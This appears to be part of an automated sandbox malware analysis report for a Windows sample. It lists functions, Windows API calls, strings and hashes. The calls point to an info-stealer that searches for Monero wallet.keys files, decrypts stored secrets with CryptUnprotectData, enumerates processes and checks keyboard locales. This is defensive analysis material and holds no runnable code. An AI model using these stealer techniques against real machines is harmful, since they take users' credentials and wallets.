Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

GetKeyboardLayoutList.USER32(00000000,00000000,00E005AF), ref: 00DF7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00DF7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00DF7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00DF7C62
LocalFree.KERNEL32(00000000), ref: 00DF7D22

Strings

/ , xrefs: 00DF7C7F

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b85ac848b95977d513241d4f7451bcadcf875c15a970c6b14db788865b816ff8
Instruction ID: 5ff2c62651b2ca0c4b25a15d98b4051dc65737e443f8cb79dc67fbd5bd35ae9b
Opcode Fuzzy Hash: b85ac848b95977d513241d4f7451bcadcf875c15a970c6b14db788865b816ff8
Instruction Fuzzy Hash: 994107B194021CABDB24DB94DC99BFEB378EB48700F608199E60966181DB746B85CFB1

Function 011BEDDE Relevance: 10.4, Strings: 7, Instructions: 1631COMMON

Download Yara Rule

Strings

17o, xrefs: 011BF655
oQz{, xrefs: 011BFFA2
La;s, xrefs: 011BFC69
`?, xrefs: 011BF11D
V~|w, xrefs: 011C00C5
F*-, xrefs: 011BF15E
'w, xrefs: 011BF678

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: `?$17o$F*-$La;s$V~|w$oQz{$'w
API String ID: 0-735723939
Opcode ID: 567f0003459ef02064d192024c3a443fe9a54b48af84db0cc2e4d20c8aa98484
Instruction ID: 25a8084af53eba45225e9d8f1c0c307c4b83a359f271079635c78239beefd961
Opcode Fuzzy Hash: 567f0003459ef02064d192024c3a443fe9a54b48af84db0cc2e4d20c8aa98484
Instruction Fuzzy Hash: ADB2F9F3A082149FE304AE2DEC8567ABBE9EFD4720F16493DEAC4C3744E63558058697

Function 011B822D Relevance: 10.4, Strings: 7, Instructions: 1623COMMON

Download Yara Rule

Strings

z,^, xrefs: 011B8299
zxg-, xrefs: 011B845D
~Nuy, xrefs: 011B84C0
<:{=, xrefs: 011B8FD8
n,m, xrefs: 011B94A3
%pwO, xrefs: 011B8B21
kt?, xrefs: 011B8D7E

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %pwO$<:{=$n,m$z,^$zxg-$~Nuy$kt?
API String ID: 0-1752472852
Opcode ID: b84d34ea780463bbf5a91c8c3227d56d3096389f4c55b716fa4731bd830c5628
Instruction ID: 0c2f89870d538877dceb27debc37c650ccaf5e3be9b3a334c0fbe8e448cfc2b1
Opcode Fuzzy Hash: b84d34ea780463bbf5a91c8c3227d56d3096389f4c55b716fa4731bd830c5628
Instruction Fuzzy Hash: 6BB2C3F3A0C6049FE304AE29EC8567ABBE5EF94320F16493DE6C5C7744EA3558018797

Function 011C45C1 Relevance: 9.8, Strings: 7, Instructions: 1026COMMON

Download Yara Rule

Strings

>a.}, xrefs: 011C4974
!k~k, xrefs: 011C4E25
`_{, xrefs: 011C4BD1
j8(, xrefs: 011C48E6
:y=, xrefs: 011C4D1B
#2_{, xrefs: 011C4F06
^6~s, xrefs: 011C4913

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !k~k$#2_{$>a.}$^6~s$`_{$j8($:y=
API String ID: 0-3345155403
Opcode ID: 0c3e68b60a9fdc7890f218b84cf92aff5b95b42087fae72ca3c854f81fafb1a8
Instruction ID: fc3fe1cb7ac48f4016502c25ffbfcd97545e9a5e45959914f2dc0d019348b39a
Opcode Fuzzy Hash: 0c3e68b60a9fdc7890f218b84cf92aff5b95b42087fae72ca3c854f81fafb1a8
Instruction Fuzzy Hash: 296249F3A0C214AFE7046E2DEC8567ABBE5EF94760F16463DEAC487740EA3558008697

Function 00DEE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00E00D73), ref: 00DEE4A2
StrCmpCA.SHLWAPI(?,00E014F8), ref: 00DEE4F2
StrCmpCA.SHLWAPI(?,00E014FC), ref: 00DEE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEEBDF

Strings

\*.*, xrefs: 00DEE44D

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: c9ce18ac407776b0b88ef266df6fed489a8996fb92b6c907bd87355761a7e32c
Instruction ID: c8a306f545c0627d4858a1e959737d8f06df58c655d5643fabb837b88901136b
Opcode Fuzzy Hash: c9ce18ac407776b0b88ef266df6fed489a8996fb92b6c907bd87355761a7e32c
Instruction Fuzzy Hash: 66123BB190011C9ADB24FB64DC96EFD7338EF54340F4181A9B60EA6095EE746B49CFB2

Function 011B315F Relevance: 9.1, Strings: 6, Instructions: 1649COMMON

Download Yara Rule

Strings

[Ljk, xrefs: 011B3E71
3/e*, xrefs: 011B3F5C
:!?, xrefs: 011B3BA2
!i_8, xrefs: 011B4477
7,=, xrefs: 011B3280
W<7z, xrefs: 011B3311

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !i_8$3/e*$7,=$:!?$W<7z$[Ljk
API String ID: 0-1638412300
Opcode ID: 383e1df74c11514421d83ce86e43e434699aa82567eaa59a1d2129509477aa9e
Instruction ID: 2b3bf4ae676dad9873af0e63d2ef4ad95a38b62bf73b3587bb7a2c0e9c6211d7
Opcode Fuzzy Hash: 383e1df74c11514421d83ce86e43e434699aa82567eaa59a1d2129509477aa9e
Instruction Fuzzy Hash: 01B2F7F36082049FE3046E2DEC8567AF7EAEFD4720F1A893DE6C4C7744EA3558058696

Function 011BB841 Relevance: 9.1, Strings: 6, Instructions: 1601COMMON

Download Yara Rule

Strings

kc{~, xrefs: 011BC1BE
kc{~, xrefs: 011BC1E7
c=w}, xrefs: 011BC3AB
|A;, xrefs: 011BC1B5
rv, xrefs: 011BBE56
O?=, xrefs: 011BBC28

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: O?=$c=w}$kc{~$kc{~$rv$|A;
API String ID: 0-525553454
Opcode ID: d87708193fc0b89188b07211a93aeba6c571e0b60e4549c9564638821c74833e
Instruction ID: cfa2d5b59468eeadfdded1c34e205f8fd974eee702524a45ca3e95f4f260d0be
Opcode Fuzzy Hash: d87708193fc0b89188b07211a93aeba6c571e0b60e4549c9564638821c74833e
Instruction Fuzzy Hash: BEB206B360C6009FE304AE29EC8567AFBE5EF94320F1A893DE6C4C7744EA3558418797

Function 011C7402 Relevance: 7.9, Strings: 5, Instructions: 1635COMMON

Download Yara Rule

Strings

kO~{, xrefs: 011C85CC
/!ow, xrefs: 011C7F85
]6, xrefs: 011C7917
48`, xrefs: 011C7B2D
23mK, xrefs: 011C8744

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /!ow$23mK$48`$kO~{$]6
API String ID: 0-1159922982
Opcode ID: 7de99604efa2138a4cd239fc8f3441896c4b76cdd7afb6958181b814011f26c5
Instruction ID: 05d513f16de10ca2d9bdeec6d1bc477f0c23a903de6a62ce34105c97673c4ca0
Opcode Fuzzy Hash: 7de99604efa2138a4cd239fc8f3441896c4b76cdd7afb6958181b814011f26c5
Instruction Fuzzy Hash: 64B23AF36082109FE3046E2DEC8577ABBE9EF94720F1A4A3DE6C4C7744E63598058697

Function 00DEC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00DEC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00DEC87C
lstrcat.KERNEL32(?,00E00B46), ref: 00DEC943
lstrcat.KERNEL32(?,00E00B47), ref: 00DEC957
lstrcat.KERNEL32(?,00E00B4E), ref: 00DEC978

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 40b5fe5455fc1a712f816a39406f33b0e47660b50770272ce3f861e09ecc728f
Instruction ID: 0dfc59717693aa6176bf8d36716ca9345a1539056e801ac0f0d8f136926c70b6
Opcode Fuzzy Hash: 40b5fe5455fc1a712f816a39406f33b0e47660b50770272ce3f861e09ecc728f
Instruction Fuzzy Hash: A941717591420ADBCB20DFA0DC89BFEB7B8BB48304F1041A8E509A7280DB755A85CFA1

Function 00DE7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00DE724D
RtlAllocateHeap.NTDLL(00000000), ref: 00DE7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00DE7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00DE72A4
LocalFree.KERNEL32(?), ref: 00DE72AE

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 8ce67f5b61f15a5dc51015d943f0cf7a96cca05d0b01a3d8dfc655d9421ed823
Instruction ID: 33bb99ee4e886afd660ec7bde863d216a36ec9f997a22fbe7675c9317f4bfcb4
Opcode Fuzzy Hash: 8ce67f5b61f15a5dc51015d943f0cf7a96cca05d0b01a3d8dfc655d9421ed823
Instruction Fuzzy Hash: 62014075B40208FBDB20DFD4CD46F9E7778AB44700F204055FB05AB2C4CAB5AA008B64

Function 00DF9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00DF961E
Process32First.KERNEL32(00E00ACA,00000128), ref: 00DF9632
Process32Next.KERNEL32(00E00ACA,00000128), ref: 00DF9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00DF965C
CloseHandle.KERNEL32(00E00ACA), ref: 00DF967A

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d97a2f1f9089e1cedc7d5c01da517f76a3983881a79d0338b1a0aed7cac6be17
Instruction ID: ba0b75fec97ac6564f4284d2e4a8404dc84c3a960c19c98d8e339dd744ba51b4
Opcode Fuzzy Hash: d97a2f1f9089e1cedc7d5c01da517f76a3983881a79d0338b1a0aed7cac6be17
Instruction Fuzzy Hash: AD010C75A00208EBCB24DFA5D958BEDB7F8FB48300F108198EA46D7240DB759B44CF61

Function 011AFAB6 Relevance: 6.7, Strings: 4, Instructions: 1734COMMON

Download Yara Rule

Strings

4w, xrefs: 011AFD49
:]sn, xrefs: 011B073E
<wy, xrefs: 011AFEF1
=fy, xrefs: 011B030A

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

